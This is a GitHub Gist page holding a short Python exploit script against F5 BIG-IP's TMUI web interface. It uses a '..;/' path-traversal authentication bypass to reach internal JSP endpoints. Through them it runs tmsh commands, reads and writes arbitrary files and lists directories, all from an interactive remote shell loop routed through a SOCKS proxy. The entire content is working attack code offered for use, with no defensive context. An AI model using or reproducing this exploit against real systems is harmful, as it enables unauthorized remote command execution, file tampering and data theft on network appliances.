Last active
July 12, 2020 07:08
-
-
Save jimtje/da18afbf2a927b30ece14df0ff68f6d8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import sys | |
import re | |
import urllib3 | |
import pprint | |
from urllib.parse import quote_plus | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
def command(command, ip, port, socks): | |
c = quote_plus(command) | |
url = 'https://{}:{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command={}' | |
r = requests.get(url.format(ip, port, c), verify=False, timeout=10, proxies={"all": "socks5h://" + socks}) | |
return r.json() | |
def filesave(path, content, ip, port, socks): | |
c = quote_plus(content) | |
url = 'https://{}:{}/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName={}&content={}' | |
r = requests.get(url.format(ip, port, path, c), verify=False, timeout=10, proxies={"all": "socks5h://" + socks}) | |
return r.json() | |
def fileread(path, ip, port, socks): | |
url = 'https://{}:{}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName={}' | |
r = requests.get(url.format(ip, port, path), verify=False, timeout=10, proxies={"all": "socks5h://" + socks}) | |
return r.json() | |
def dirlist(path, ip, port, socks): | |
url = 'https://{}:{}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath={}' | |
r = requests.get(url.format(ip, port, path), verify=False, timeout=10, proxies={"all": "socks5h://" + socks}) | |
return r.json() | |
def commandloop(target, socksproxy): | |
ip = target.split(":")[0] | |
port = target.split(":")[1] | |
socks = socksproxy | |
while True: | |
print("save /path/to/file content, read /path/to/file, dirlist /path/to/dir, or F5 tmsh commands:") | |
try: | |
cmd = input("cmd$ ") | |
pp = pprint.PrettyPrinter(indent=1, compact=True) | |
if cmd.startswith("save"): | |
path = cmd.split(" ", 2)[1] | |
content = cmd.split(" ", 2)[2] | |
pp.pprint(filesave(path, content, ip, port, socks)) | |
elif cmd.startswith("read"): | |
path = cmd.split(" ", 1)[1] | |
pp.pprint(fileread(path, ip, port, socks)) | |
elif cmd.startswith("dirlist"): | |
path = cmd.split(" ", 1)[1] | |
pp.pprint(dirlist(path, ip, port, socks)) | |
else: | |
pp.pprint(command(cmd, ip, port, socks)) | |
except KeyboardInterrupt: | |
sys.exit("\nClosing shell...") | |
except Exception as e: | |
sys.exit(str(e)) | |
if __name__ == "__main__": | |
commandloop(sys.argv[1], sys.argv[2]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment